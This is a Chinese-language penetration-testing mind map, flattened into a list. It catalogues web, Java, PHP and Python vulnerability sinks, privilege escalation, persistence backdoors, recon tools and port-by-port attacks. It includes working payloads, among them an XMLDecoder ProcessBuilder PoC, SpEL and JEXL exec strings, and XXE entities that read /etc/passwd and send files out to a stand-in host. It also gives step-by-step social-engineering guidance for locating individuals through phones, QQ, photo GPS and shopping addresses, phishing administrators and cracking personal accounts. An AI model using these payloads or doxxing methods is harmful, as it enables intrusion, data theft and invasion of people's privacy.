网络渗透测试
2021-07-28 15:15:22 5 举报
AI智能生成
渗透脑图
作者其他创作
大纲/内容
eval()
assert()
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源文件拼接写入
代码执行
格式特征如:O:1:"F":1:{s:8:"filename";s:5:"a.txt";}
unserialize()
未加过滤拼接SQL
宽字节注入
注意二次注入
SQL 注入
fopen
file_put_content
$_FILES
file_get_contents
move_uploaded_file
fwrite
unlink
rmdir
文件操作
可以导致绕过gpc过滤
变量覆盖
安装后未自动删除目录或加锁导致可再次重装
通过文件删除或移动漏洞操作锁文件,来达到重装
安装展示页被加锁,但实际上处理安装业务的文件没有则可绕过重装
重装时一些内容会被写进php的配置文件里,如果知道格式,可以拼接执行php代码
加了锁,但只是js跳转,并没有exit或die 结束代码,导致可绕过重装
安装相关
逻辑漏洞
php<5.3.4
如果结尾被拼接.php 则需要00截断
phar/zip
伪协议
包含上传图片、日志
php://input
本地包含
需要开启 allow_url_include allow_url_fopen
远程包含
文件包含
exec
system
`whoami`
popen
passthru
shell_exec
命令执行
PHP
unmarshal
bsh.XThisbsh.Interpretercom.mchange.v2.c3p0.PoolBackedDataSourcecom.mchange.v2.c3p0.impl.PoolBackedDataSourceBaseclojure.lang.PersistentArrayMapclojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274aorg.apache.commons.beanutils.BeanComparatororg.apache.commons.collections.Transformerorg.apache.commons.collections.functors.ChainedTransformerorg.apache.commons.collections.functors.ConstantTransformerorg.apache.commons.collections.functors.InstantiateTransformerorg.apache.commons.collections.map.LazyMaporg.apache.commons.collections.functors.InvokerTransformerorg.apache.commons.collections.keyvalue.TiedMapEntryorg.apache.commons.collections4.comparators.TransformingComparatororg.apache.commons.collections4.functors.InvokerTransformerorg.apache.commons.collections4.functors.ChainedTransformerorg.apache.commons.collections4.functors.ConstantTransformerorg.apache.commons.collections4.functors.InstantiateTransformerorg.apache.commons.fileupload.disk.DiskFileItemorg.apache.commons.io.output.DeferredFileOutputStreamorg.apache.commons.io.output.ThresholdingOutputStreamorg.apache.wicket.util.upload.DiskFileItemorg.apache.wicket.util.io.DeferredFileOutputStreamorg.apache.wicket.util.io.ThresholdingOutputStreamorg.codehaus.groovy.runtime.ConvertedClosureorg.codehaus.groovy.runtime.MethodClosureorg.hibernate.engine.spi.TypedValueorg.hibernate.tuple.component.AbstractComponentTuplizerorg.hibernate.tuple.component.PojoComponentTuplizerorg.hibernate.type.AbstractTypeorg.hibernate.type.ComponentTypeorg.hibernate.type.Typeorg.hibernate.EntityModecom.sun.rowset.JdbcRowSetImplorg.jboss.interceptor.builder.InterceptionModelBuilderorg.jboss.interceptor.builder.MethodReferenceorg.jboss.interceptor.proxy.DefaultInvocationContextFactoryorg.jboss.interceptor.proxy.InterceptorMethodHandlerorg.jboss.interceptor.reader.ClassMetadataInterceptorReferenceorg.jboss.interceptor.reader.DefaultMethodMetadataorg.jboss.interceptor.reader.ReflectiveClassMetadataorg.jboss.interceptor.reader.SimpleInterceptorMetadataorg.jboss.interceptor.spi.instance.InterceptorInstantiatororg.jboss.interceptor.spi.metadata.InterceptorReferenceorg.jboss.interceptor.spi.metadata.MethodMetadataorg.jboss.interceptor.spi.model.InterceptionTypeorg.jboss.interceptor.spi.model.InterceptionModelsun.rmi.server.UnicastRefsun.rmi.transport.LiveRefsun.rmi.transport.tcp.TCPEndpointjava.rmi.server.RemoteObjectjava.rmi.server.RemoteRefjava.rmi.server.UnicastRemoteObjectsun.rmi.server.ActivationGroupImplsun.rmi.server.UnicastServerReforg.springframework.aop.framework.AdvisedSupportnet.sf.json.JSONObjectorg.jboss.weld.interceptor.builder.InterceptionModelBuilderorg.jboss.weld.interceptor.builder.MethodReferenceorg.jboss.weld.interceptor.proxy.DefaultInvocationContextFactoryorg.jboss.weld.interceptor.proxy.InterceptorMethodHandlerorg.jboss.weld.interceptor.reader.ClassMetadataInterceptorReferenceorg.jboss.weld.interceptor.reader.DefaultMethodMetadataorg.jboss.weld.interceptor.reader.ReflectiveClassMetadataorg.jboss.weld.interceptor.reader.SimpleInterceptorMetadataorg.jboss.weld.interceptor.spi.instance.InterceptorInstantiatororg.jboss.weld.interceptor.spi.metadata.InterceptorReferenceorg.jboss.weld.interceptor.spi.metadata.MethodMetadataorg.jboss.weld.interceptor.spi.model.InterceptionModelorg.jboss.weld.interceptor.spi.model.InterceptionTypeorg.python.core.PyObjectorg.python.core.PyBytecodeorg.python.core.PyFunctionorg.mozilla.javascript.**org.apache.myfaces.context.servlet.FacesContextImplorg.apache.myfaces.context.servlet.FacesContextImplBaseorg.apache.myfaces.el.CompositeELResolverorg.apache.myfaces.el.unified.FacesELContextorg.apache.myfaces.view.facelets.el.ValueExpressionMethodExpressioncom.sun.syndication.feed.impl.ObjectBeanorg.springframework.beans.factory.ObjectFactoryorg.springframework.aop.framework.AdvisedSupportorg.springframework.aop.target.SingletonTargetSourcecom.vaadin.data.util.NestedMethodPropertycom.vaadin.data.util.PropertysetItem
unserialize
Gadgetes
enableDefaultTyping
ObjectMapper
检查点
jackson
JSON.parse
JSONObject
com.alibaba.fastjson
setAutoType(true)
1.2.25 版本前可以反序列化任意对象,后面的版本加了 autotype 和反序列化黑名单
1.2.48 版本前可以绕过 autotype 限制同时绕过黑名单
RCE
{"a":"\\x
1.2.60 前版本可以拒绝服务
OOM拒绝服务
漏洞
fastjson
JSON
new XStream()
XStream
<?xml version="1.0" encoding="UTF-8"?> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object>
POC
XMLDecoder xd = new XMLDecoder(bis);xd.readObject();
CheckPoint
XMLDecoder
new SnakeYaml().fromXML()
SnakeYaml
XML/Yaml
RememberMe Padding Oracle
影响到1.4.x
SHIRO-721
Randomize default remember me cipher
影响到 1.2.4
SHIRO-550
Shiro
<bean name="/httpinvoker"class="org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter">
HttpInvoker
Spring
中间件/框架
new ObjectInputStream(is);
ObjectInputStream
new HessianInput(is);
Hessian
Checklist
调用RPC服务时反序列化
取缓存服务器数据时反序列化
解析JSON
场景
new FileInputSream(
FileUtils.read*
使用 File 相关工具类
使用 URLConnection 没有指明协议时可用 file://etc/passwd
XXE 使用file协议读取
文件读取
文件写入
文件删除
T(java.lang.Runtime).getRuntime().exec('calc.exe')
ExpressionParser parser = new SpelExpressionParser();
Spel
Ognl
Mvel
${applicationScope}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
EL
new JexlEngine()
233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')
JEXL
表达式注入
Freemarker
模板注入
getRuntime().exec()
new ProcessBuilder()
使用命令行相关工具类
命令注入
new ScriptEngineManager()
JavaSciprtEngine
Jython
new GroovyShell();
'calc'.execute()
Groovy
代码注入
如果加载类时可指定“类加载”类为此类,即可通过BCEL传入字节码执行代码
com.sun.org.apache.bcel.internal.util.ClassLoader
Class加载
Java反射
Mybatis 使用 $
hibernate 拼接查询
ORM框架
使用 statement 类
jdbc
order by ? ?
like '%?%'
group by ?
多关注这些语法
SQL注入
Java
pickle
marshal.loads(code_str)
marshal
joblib.load("blue.pkl")
sklearn
numpy.loads(d.read())
NumPy
pandas.read_pickle("blue.pkl")
Pandas
torch.load("blue.pkl")
PyTorch
第三方库
CheckList
Python
代码审计
pr 、Churrasco、kelong、IIS6up、mimikatz、第三方cmd、第三方net、vbs、读hash、msf
一般情况
找未安装补丁的提权漏洞
通过高权应用的RCE 或 LCE提权,如:mssql、Oracle
https://github.com/SecWiki/windows-kernel-exploits
参考
Windows
通过高权应用
根据内核版本找exp
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/mzet-/linux-exploit-suggester
linux-exploit-suggester
脚本检测
找可以使用 sudo 的脚本,审查脚本代码是否有调用可写的脚本
Linux
提权
保存用户bash history
netstat -an 查看端口连接情况
/etc/passwd /etc/shadow 用户相关信息
crontab 里的定时任务
系统变量
lastlog & last & who /var/log/wtmp 分析登录频次
用户根目录的文件
/etc/hosts 中的映射
/.ssh/
查看数据库SQL日志
查看WEB服务运行日志
信息收集
shift 后门
Windows $ 隐藏用户
开机自启执行后门
替换带有后门的敏感程序 如:ssh / mstsc
注册表
dll 劫持
开启代理
后门
维持
待补充
权限维持与提升
https://github.com/Ridter/Intranet_Penetration_Tips
https://github.com/l3m0n/pentest_study
内网渗透
探测内网存活主机/服务 的指纹信息
ARP劫持流量
找到该服务器与其他服务器的关联(如:已得到redis服务器权限 web服务器会从redis中取出数据反序列化 则可以篡改redis中的数据以获取web服务器权限)
得到子服务器权限后
指向到反代至目标的服务器,记录GET POST请求日志,分析特殊URL和登录后台的POST 请求
得到域名解析权后
如果是社交类网站,尝试寻找CSRF制造蠕虫
通过其他社交网站的JSONP漏洞,探测管理员的个人信息
打到管理员cookie后通过附带 Cookie 不断请求后台以保持会话不被销毁
根据浏览器、flash、等情况进行浏览器攻击。如:执行代码、种rootkit
canvas 截图页面
找到XSS后
独立邮件系统可找公开漏洞攻击
通过挖掘相关邮箱系统漏洞进行攻击
发送测试邮件探测对方使用邮箱系统
找到服务器、CDN、域名、DNS等服务商,伪造钓鱼邮件欺骗管理员登录
发送含有后门的附件(如:pdf、Excel、word、rar的代码执行漏洞)
通过社工库或搜索引擎人肉搜索得出密码后尝试登陆邮箱
得到邮箱地址后
分析/劫持邮箱收信
搜搜:password、找回密码、重置密码、忘记密码等关键字
找服务器、CDN、域名、DNS等服务商的邮件,如果无法登陆尝试重置等操作
淘宝(收货地址)
京东(收货地址)
支付宝(收货地址)
Apple账号(可定位)
各手机大厂(手机定位)
找发件箱中的原始图片(找exif的GPS定位)
找到有关地理位置软件的邮件
...
个人邮箱
找VPN相关邮件 可内网渗透
搜索关键字:password、密码、192、172、10. 等关键字
企业邮箱
得到邮箱权限后
搞定外部网站
如果是JS 可以考虑XSS攻击
IMG LINK 可以401认证钓鱼
IFRAME bgsound EMBED source object等可以挂可执行文件或跳转钓鱼页
引入了外部资源
一般在后台添加友联时会展示logo图片,如果可以填写远程URL 可以尝试和站长沟通交换友联,添加成功后,对方则会发起一个refer为后台的请求到你的LOGO
收集网站名简写、英文名、邮箱前缀等 于 admin、manage、system、login等常见单词组合请求
IIS 短文件名漏洞
https://b1ue.cn/archives/60.html
Windows 下的 >> 特性
找列目录漏洞
XSS
收集子域名资产及其C段端口
二级域名 如:admin.xxx.com
google fofa censys等引擎搜索关键字
爬虫爬取所有链接 提取出目录部分 按目录层级穷举
找后台
只请求一次验证码,然后用同样的验证码暴力破解
知道验证码在session中的参数,找类似 Tomcat example session重置的漏洞填充同一验证码
云打码平台识别
自己训练OCR识别
绕过验证码
持续渗透和一些技巧
待补充...
APT攻击
流量取证
知道账号去已注册的网站找回密码,可以看到打码后的用户名、邮箱、真实姓名等信息,如果运气好没准能从数据包或html中找到未被打码的信息
输入账号,如果进入下一步了则该账号存在
找回密码
输入账号和密码,如果提示密码错误,则表示该用户已存在
登录
填写账号时一般网站会去检测该账号是否已存在,如果已存在则会提示不可重复注册
注册
可以从这些方面判断用户是否注册过
查看注册的网站:0xreg reg007
通过QQ邮箱搜索支付宝、淘宝账号
去腾讯微博搜索
通过微信搜索
通过说说、留言、日志找到其好友
查看QQ空间
知道QQ
搜索QQ、微信、钉钉等社交账号
在比较火的一些APP和网站上注册或忘记密码来判断是否注册过账号
查询支付宝账号,尝试输入常见姓氏获取名字
知道手机号
通过对方的职业、兴趣找到该领域知名度较高的社交网站反查
根据在QQ空间、朋友圈等动态用百度识图识别照片,在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选
发布时间线
针对客户端预先制定exploit
使用什么客户端 iPhone Android还是浏览器
链接可能包含用户ID
图片可能包含水印,exif可能会有GPS定位和手机类型
视频也有可能有水印暴露社交账号ID
注意每一条链接 / 图片 / 视频
从最早发布的动态看起,会有很大收获
留意社交动态
一般得到一个账号的密码就相当于得到了其他账号的密码
一般人不同账号的用户名都是相同或相近的
一般人的社交账号头像用的都是一样的
社交搜索
大部分信息可以用来生成密码字典
尝试破解社保、公积金账号
社会工程学技巧
后渗透与持续渗透
业界知名漏洞扫描器,适用于WEB应用
AWVS
appscan
一款聚合了很多功能的综合扫描器
https://github.com/jeffzh3ng/Fuxi-Scanner
Fuxi Scanner
https://github.com/ysrc/xunfeng
一款综合的巡航扫描系统
xunfeng
适合扫描系统和应用层漏洞的扫描器
nessus
https://github.com/sqlmapproject/sqlmap
知名自动化SQL注入神器,安全人员必备
sqlmap
快速端口扫描器
masscan
主动扫描
https://github.com/ysrc/GourdScanV2
被动式漏洞扫描器
GourdScanV2
SQLiScanner
知名渗透测试工具,安全人员必备。
Burpsuite
被动扫描
扫描工具
https://github.com/rapid7/metasploit-framework
知名漏洞利用框架,安全人员必备
metasploit
https://github.com/knownsec/Pocsuite
知道创宇的POC漏洞测试框架
pocsuite
https://www.trackray.cn/
https://github.com/iSafeBlue/TrackRay
我开发的一款在线扫描器+接口式渗透测试框架
溯光
一个兼容多种语言的漏洞框架
kunpeng
python 漏洞验证框架
poc-t
四叶草的漏洞扫描器
bugscan
3xp10it
整合了kali中大部分的安全工具,Windows平台上的神器
pentestbox
w8ay的一款漏洞扫描工具
w9scan
渗透框架
猪猪侠的子域名扫描工具
wydomain
聚合多个接口查子域名
bit4woo/teemo
猪猪侠的信息泄露扫描器
ring04h/weakfilescan
猪猪侠的网站目录扫描器
ring04h/dirfuzz
网站指纹扫描
whatweb
nsonaniya2010/SubDomainizer
lijiejie的GIT泄露利用
lijiejie/GitHack
svn泄露利用工具
shengqi158/svnhack
IIS短文件扫描器
lijiejie/IIS_shortname_Scanner
信息泄露
渗透测试工具,安全人员必备
Cobalt Strike
多种服务的密码暴力破解工具,安全人员必备
hydra
端口扫描和系统漏洞扫描的神器,安全人员必备
nmap
内网转发工具
lcx
常用于shell反弹,安全人员必备
nc
linux下的代理工具
proxychain
内网渗透代理工具
reGeorg
Windows下的代理工具
Proxifier
网站webshell管理工具,安全人员必备
菜刀/蚁剑/Cknife
渗透辅助
工具
github泄漏
网盘泄漏
https://github.com/ring04h/dirfuzz
敏感路径扫描
QQ群文件泄漏
业务相关
找域名商漏洞,越权影响目标域名
欺骗域名商客服,影响目标域名
社工账号,篡改解析地址
域名商
渗透DNS服务器,和社工DNS服务商
DNS域传送漏洞
子域名接管漏洞
DNS
censys.io 等网络空间引擎查找关键字
SSRF漏洞
https://securitytrails.com/
site.ip138.com
查找域名历史解析IP
服务器信息泄露
探测子域名IP
cloudflare(HatCloud)
看邮件发送者源IP
APP客户端
DOS CDN可能会成回源模式
找真实IP地址
破解CDN服务账号
CDN
反查其他域名
注册者邮箱
手机号
地址
注册者名称
WHOIS
fofa、傻蛋、谛听、zoomeye、censys
Google、bing、baidu、duckduckgo
接口聚合:https://github.com/bit4woo/teemo
搜索引擎
layer
wydomain
暴力破解
基于JS的域名探测https://github.com/nsonaniya2010/SubDomainizer
网页爬虫
dnsdumpster.com
www.virustotal.com
DNS查找
子域名
域名相关
Zenmap
端口
nmap -O
文件大小写敏感
TTL
banner
特殊端口 如(22 / 139 / 445 / 1433 / 3389)
HOSTNAME
路径特征
系统识别
https://dns.aizhan.com
同服网站
备案反查
相关资产
可能会有其他相关业务,如交换机、机房后台、监控系统等
C段业务
特有文件MD5
包含字符
cookie
响应头
指纹识别
服务器主机
字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder
shell.php{%80-%99}
shell.php......
shell.php::$DATA
shell.php:a.jpg
NTFS ADS特性
畸形文件名
上传后如果没有被文件重命名,可以在文件名值做目录跳转
dir
path
location
url
注意一些像目录的参数名
目录穿越
文件头绕过
修改上传类型 Content-Type
双文件上传
长文件名
长Content-Disposition
%00截断
截断
xss
svg / html / htm / swf
chrome 里可以跳转
pdf
可能会被当做动态语言解析
cer / asa / spx / php5 / phtml
修改解析规则
.htaccess / .user.ini / web.config / web.xml
POI Excel XXE
.xls / .xlsx
可能存在文件释放目录跳转问题
.tar / .tar.gz / .zip
python反序列化文件
.pkl
可能有 XXE
.xml
YAML 反序列化
.yaml / .yml
上传到 java classpath 的目录下,类被加载时执行代码
.jar / .class
特殊文件
无限上传制造垃圾数据堵死硬盘
无大小和次数限制
有图片加工的地方可以注意一下imagemagick命令执行
文件上传
读取系统敏感文件
可读取文件或代码执行
删除配置文件可破坏网站
删除安装锁可重装
如果上传文件为 tar / tar.gz 类型,可以尝试构压缩包内文件名为../../../../xxx 的tar包
文件解压
=2222-1
-1+1=2222-1
@=2222-1
\\=2222-1
如果是CSV 或者 Excel可以注意一下CSV注入
文件导出
使用可以发起请求的标签调用敏感功能接口
找一个站内可以插入标签的地方,比如图片
尝试使用 http://website.com@baidu.com 等方式绕过他的 referer 校验规则
http://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/fdsajhg30000/archive/2011/02/14/1953966.html
http://www.vuln.cn/7134
FLASH CSRF
有Referer校验
每个功能的请求里把 token 参数删掉,看看有没有漏掉的
如果 TOKEN 放在了地址栏URL处,可以在页面里嵌入一个 IMG 之类的跨域标签到自己服务器,获取referer 从而拿到TOKEN
请求头或者参数有TOKEN类参数
CSRF利用页面里的表单加一条验证码,并且使用IMG标签插入验证码地址
四位数字验证码爆破
有校验验证码
绕过方法
使用form表单自动提交请求
img
iframe
a
link
跨域标签
利用方法
CSRF
很常见的一种XSS攻击,由JS的一些函数如 eval、localhost.href、window.open、document.write 等引起的参数可控的XSS
DOM XSS
通过将XSS代码带入请求数据包中(POST/GET都一样)后台代码直接把代码输出在了HTML页面中的一种最常见的XSS
CRLF注入在响应头会导致XSS
反射型XSS
泛指XSS代码被存储在了数据库(也可以是缓存、文件、内存)中,并且输出时未经安全的过滤而产生的XSS
存储型XSS
传统XSS
UXSS用于攻击浏览器,访问攻击者页面时可以绕过同源策略获取其他域下的信息
UXSS
在社交类应用或有大量用户的应用场景下特有的一类XSS,它利用 XSS 配合 CSRF,让每个访问者都自动转发蠕虫代码
XSS 蠕虫
通常会根据参加利用 cookie localStorage ServiceWorker 让 XSS 代码持久化攻击,或者修改用户名等信息,即使不再访问攻击页面,XSS代码也会被执行
rootkit xss
通过一些 swf 编写时的漏洞,控制dom或者访问 javascript 伪协议完成的XSS攻击
Flash XSS
本质上是DOM XSS 也可以是存储型,一些应用会把 h5 localStorage 当做存储信息的数据库,并且输出存储的信息时没有经过过滤,可能会造成 XSS
localStorage XSS
这一类XSS通常只能攻击自己,一般不被人重视,其实根据不同的场景可以使用 CSRF 或者 点击劫持的方式来完成攻击
self XSS
特殊XSS
Web前后端漏洞分析与防御 https://github.com/TYRMars/WebSafe-StepPitGuide
https://github.com/phith0n/Mind-Map/blob/master/xss%20virus%201.0.png
https://github.com/phith0n/Mind-Map/blob/master/XSS2.png
https://github.com/phith0n/Mind-Map/blob/master/XSS%E8%84%91%E5%9B%BE.png
脑图
http://html5sec.org/
其他参考
函数
常量
特性
执行java代码
https://www.cnblogs.com/rebeyond/p/7928887.html
https://www.cnblogs.com/pshell/articles/7473713.html
安全
ORACLE
load_file()
substr()
substring()
mid()
ascii()
unhex()
hex()
sleep()
database()
@@version
@@basedir
@@datadir
user
语法
outfile 写文件
MOF / UDF 提权
general_log_file 写文件
MYSQL
https://www.jianshu.com/p/027636ef4640
xp_cmdsell
https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html
wscript.shell
https://blog.csdn.net/sircoding/article/details/78683192
沙盒模式
存储过程写文件
https://blog.csdn.net/kj021320/article/details/1736964
xp_dirtree
https://www.0dayhack.com/post-678.html
sp_oamethod
SQL Server
--xxxx 参数注入
| 和 || 与符号
& 和 && 与符号
; 分号
${}
freemarker
OGNL
jsel
表达式
eval
assert
php
远程 jar 加载
反射机制
jsp 源文件拼接写入
java
非表达式
代码执行/命令执行
获取真实IP
内网主机 / 端口探测
攻击redis、memcache等
http协议
读取文件
file协议
同上
gopher协议
一直连接一个阻塞的端口,使连接不被断开,直到本地65535个端口连接全被占满,造成网络拒绝服务
拒绝服务
利用姿势
IP换成域名
IP换成10进制
http://xxx.com@baidu.com
302 跳转
绕过
https://www.t00ls.net/articles-41070.html
SSRF
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<?xml version="1.0"?><!DOCTYPE data [<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd">%remote;%send;]><data>4</data>
payload
<!ENTITY % payload SYSTEM "file:///sys/power/image_size"><!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://publicServer.com/%payload;'>">%param1;
parameterEntity_sendhttp.dtd
1
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd"><data>&send;</data>
<!ENTITY % file SYSTEM "file:///sys/power/image_size"><!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">%all;
parameterEntity_oob.dtd
2
数据外带
<?xml version='1.0'?><!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY remote SYSTEM "http://internalSystem.com/file.xml">]><data>&remote;</data>
<?xml version="1.0"?><!DOCTYPE data SYSTEM "http://publicServer.com/" [<!ELEMENT data (#ANY)>]><data>4</data>
DOCTYPE
<?xml version='1.0'?><!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd">%remote; ]><data>4</data>
<?xml version='1.0'?><data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
XInclude
<?xml version='1.0'?><ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ttt="http://test.com/attack" xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data>
schemaLocation
<?xml version='1.0'?><data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data>
noNamespaceSchemaLocation
<?xml version='1.0'?><!DOCTYPE data [<!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >]><data>&dos;</data>
C:/pagefile.sys 或 /dev/random
读文件拒绝服务
<?xml version='1.0'?><!DOCTYPE data [<!ENTITY a0 "dos" ><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"><!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"><!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">]><data>&a4;</data>
<?xml version='1.0'?><!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY a0 "dos" ><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"><!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"><!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">]><data>&a4;</data>
递归读取
XEE(XML实体膨胀)拒绝服务
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('/sys/power/image_size')"> </xsl:value-of></xsl:template></xsl:stylesheet>
XSLT
https://www.freebuf.com/articles/web/177979.html
XXE
数字超出限定大小则会为负数。如:在购买商品时填写超长数字,造成溢出,最终乘以金额变为负数
结算价格 = 数量 * 100
让数量等于 integer 最大值2147483647
2147483647*100 最终因为计算 结果超过2147483647会变成负书 -100
例子
整数溢出
通常出现在购物车,订单支付功能。下单时抓包修改商品数量为负数,或者其他可能会影响到最终价格的数值其中一个为负数,在计算价格时就会造成商品总价变为负数,再同一订单内购买其他正数商品与其抵消,可少数金额购买商品
正负相乘
非预期内数值
一般主要原因是未正确做数据库事务隔离,如使用高并发线程提交修改数据,可能就会造成脏读问题
另外一个就是语言的线程安全问题,如 java 的某个单例对象,或者 static 变量可被修改,当用户恶意的并发请求时,正常用户再请求获得的对象可能就是被篡改后的对象
漏洞原理
并发修改数据
通常在PHP一类CMS较为常见
1.可随意删除安装锁导致重装
2.判断已安装后未正确退出代码导致重装
3.未校验已安装可重复安装
网站重装
对于不可让普通用户随意访问的接口或页面,未做授权检测或可被绕过
未授权访问
意为越权同权账号
如查看订单,我的订单号为 1123 ,把查看订单请求里订单号修改为 1124 或者其他存在的订单号,如果可以查得出来数据的话就属于水平越权
水平越权
意为越权比自己权限高的账号,也可以称为提权
这个情况不同场景有不同的测法,一般可以找一个高权账号,把特有的功能请求记录下来,再使用低权账号去发送,如果正常处理了,则为垂直越权
垂直越权
水平与垂直越权
JSONP 的数据格式以此为例 callback({'password:'123456'})
由于script在浏览器里是允许跨域访问的,如果在自己的页面上写一个url为JSONP接口地址的script标签,就会执行 callback 这个函数,把敏感信息当做参数
所以只需要再在页面定义一个名为 callback 的函数,将传过来的参数转发到自己的服务器里,就完成了 JSONP 劫持的攻击
JSONP劫持
通常重置密码会向手机号或邮箱发送一串验证码
如使用的验证码是4位数可从0000-9999挨个暴力破解,几分钟内就能穷举出正确验证码
如果是5位数及以上的话要看运气,并且验证码没有过期时效,可以考虑分布式暴力破解,会花的时间长一些
验证码密码重置
按照正常流程修改自己的账号密码,在修改密码的最后一步,把用户名、ID、邮箱一类的修改成被攻击者的
未校验凭证和被修改账号是否一致
密码重置
使用 iframe 标签嵌入一个可点击劫持的页面,使用 css 是其变为透明,再按照场景编写几个页面控件覆盖再iframe层页面上方,诱导被攻击者点击
点击劫持
搜索百分号 % 多线程并发查询,会一直消耗服务器资源导致拒绝服务
在搜索、翻页的请求修改查询条数到99999+,频繁请求可能会导致拒绝服务
无限制上传文件,和无限制文件大小时可以频繁上传大型文件,阻塞服务器硬盘
寻找cookie可控请求,插入大量cookie,可对客户端拒绝服务
让对方服务器向我们发起端口连接请求,不关闭连接,一直让对方发起端口连接,从而造成网络层面拒绝服务
aaaaaaaaaaaaaa!
一般30个a就会卡死
匹配内容
SDL regex fuzzer
正则表达式拒绝服务
拒绝服务漏洞
无恶意特征的漏洞
https://www.cnblogs.com/bl8ck/p/9521448.html
fckeditor
https://www.seebug.org/vuldb/ssvid-97499
getshell
.net
https://www.secpulse.com/archives/11232.html
ssrf
jsp
https://paper.seebug.org/606/
ueditor
https://www.seebug.org/appdir/CKFinder
https://www.secpulse.com/archives/26999.html
ckfinder
https://www.seebug.org/vuldb/ssvid-60642
CKEditor
https://www.anquanke.com/post/id/171422
https://www.freebuf.com/articles/web/128076.html
KindEditor
https://www.cnblogs.com/milantgh/p/3601739.html
https://www.0dayhack.com/post-426.html
ewebeditor
编辑器漏洞
常见漏洞
匿名/暴力破解
21 / FTP
22 / SSH
https://github.com/BasuCert/WinboxPoC
Winbox(CVE-2018-14847)
弱口令 / 暴力破解
23 / telnet
https://blog.csdn.net/archersaber39/article/details/78932252
弱口令
161 / snmp
https://www.cnblogs.com/persuit/p/5706432.html
匿名访问
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html
ladp注入
389 / ladp
https://paper.seebug.org/437/http://www.anquan.us/static/drops/papers-1381.htmlhttps://www.freebuf.com/sectool/33191.html
openssl心脏出血
443 / ssl
win10拒绝服务
永恒之蓝RCE
445 / smb
http://www.anquan.us/static/bugs/wooyun-2016-0190815.htmlhttps://paper.seebug.org/409/http://www.91ri.org/11093.html
875 / rsync
http://www.anquan.us/static/drops/tips-12749.htmlhttps://www.seebug.org/appdir/Microsoft%20SQL%20Server
1433 / mssql
https://www.exploit-db.com/exploits/33084
1521 / oracle
http://www.anquan.us/static/bugs/wooyun-2013-047409.html
2601 / zebra
3128 / squid
CVE-2015-0411
http://www.91ri.org/17511.html
https://www.freebuf.com/column/153561.html
hash破解
https://www.freebuf.com/articles/web/155570.html
waf绕过
https://www.freebuf.com/column/143125.html
general_log_file getshell
http://www.91ri.org/16540.html
3306 / mysql
https://www.secpulse.com/archives/23927.html
3312 / kangle
shift 放大镜 输入法绕过 guest用户
https://www.freebuf.com/articles/system/132171.htmlhttps://www.anquanke.com/post/id/86328
永恒之蓝(ESTEEMAUDIT)
https://blog.csdn.net/meyo_leo/article/details/77950552
ms12-020
3389 / rdp
https://www.secpulse.com/archives/29500.html
4440 / rundeck
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
4848 / glassfish
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默认账号postgres
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html
5432 / PostgreSQL
(guest/guest)
https://www.seebug.org/appdir/RealVNC
5900 / VNC
http://xxx:5984/_utils/
5984 / CouchDB
https://www.secpulse.com/archives/10681.html
CLI 未授权
6082 / varnish
ssh publickey
crontab
webshell
开机自启文件夹写bat
Redis未授权
https://www.freebuf.com/column/170710.html
6379 / redis
默认弱口令
https://www.freebuf.com/articles/web/169770.html
CVE-2018-2628
https://www.seebug.org/appdir/WebLogic
反序列
http://www.anquan.us/static/drops/papers-5142.html
CVE-2015-1427
https://www.seebug.org/vuldb/ssvid-97730
CVE-2018-17246
https://www.seebug.org/search/?keywords=elasticsearch
https://paper.seebug.org/289/
9000 / fcgi
